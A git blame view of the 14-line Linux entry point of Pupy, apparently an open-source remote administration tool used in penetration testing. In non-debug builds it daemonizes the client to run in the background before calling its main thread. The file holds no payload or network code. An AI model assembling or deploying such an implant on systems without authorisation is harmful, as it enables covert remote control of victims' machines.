pupy/client/sources-linux/main_exe.c

14 lines
239 B
C
Raw Normal View History

#include "pupy_load.h"
2016-08-23 16:48:10 +00:00
#include "daemonize.h"
2017-04-03 16:40:20 +00:00
#include <mcheck.h>
2017-03-03 11:34:14 +00:00
int main(int argc, char *argv[], char *env[]) {
#ifndef DEBUG
2017-03-03 11:34:14 +00:00
daemonize(argc, argv, env, true);
2017-04-03 16:40:20 +00:00
#else
mtrace();
#endif
2017-03-03 11:34:14 +00:00
return mainThread(argc, argv, false);
}